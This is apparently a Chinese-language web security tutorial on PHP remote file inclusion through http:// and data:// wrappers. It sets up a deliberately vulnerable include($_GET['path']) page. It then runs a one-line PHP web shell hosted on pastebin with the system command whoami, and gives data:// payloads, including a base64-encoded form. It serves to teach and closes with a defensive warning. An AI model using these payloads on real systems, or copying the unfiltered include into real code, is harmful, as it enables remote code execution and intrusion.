今天介紹另外兩種協議
跟昨天的級別不同
這兩個都可以造成 RCE
http://<網址>
這邊介紹一個網站 pastebin.com
我們可以將一些小東西放在這邊供網路存取
用來模擬遠端伺服器上的文件
這樣就不用老是自己開伺服器了
首先新增一個簡單的 php sample, 然後按發布
接著選擇 raw
會跳轉到另一個只有程式碼的空白頁
這頁的網址才是我們等等需要的
index.php
寫跟昨天一樣什麼都沒過濾的範例
<?php
include($_GET['path']);
?>
還有在網頁根目錄下新增一個檔案 php.ini
內容是
allow_url_include=1
開啟網頁後將剛剛遠端的網址放進 get 變數中
你會發現畫面上印出了 hello
這樣就代表成功包含了遠端的檔案
到了這邊 各位有沒有想到
既然可以執行我們自己寫的任意 php code
那可不可以利用 PHP 來執行系統指令
當然可以
這就是上面說到的 RCE (Remote Code Excution)
我們再一次利用 pastebin 寫一個簡單的一句話木馬
<?php system($_GET['cmd']); ?>
將 path
的網址換成新的並給上新的 get 參數 cmd
例如 ?path=https://pastebin.com/raw/VYE80MLy&cmd=whoami
執行 whoami
這個系統指令會回傳當前的使用者是誰
成功!
data://<media type>[;encode],<data>
前面的 media type 可參考 wiki
用來表示 data 的型態
中間的 encdoe 意思是後面的 data 以什麼方式編碼,前面一定要跟著分號
可選 base64
最後的 data 就是資料本身,前面一定要帶一個逗號
舉個例子
一樣使用上面那份 index.php
我們可以在 path
輸入
data://text/plain,<?php echo 'hello';?>
一樣會出現 hello
如果要使用編碼
data://text/plain;base64,PD9waHAgZWNobyAnaGVsbG8nOz8+
但這邊要注意最後的 +
在 URL 上面需要再經過一次 url-encode 轉成 %2B
變成 data://text/plain;base64,PD9waHAgZWNobyAnaGVsbG8nOz8%2B
到了這裡你會發現後面的 php 也是我們可以任意寫入的
因此也會造成跟上面 http://
一樣的 RCE 問題
大家也要記得非必要請別開啟 allow_url_include
這項設定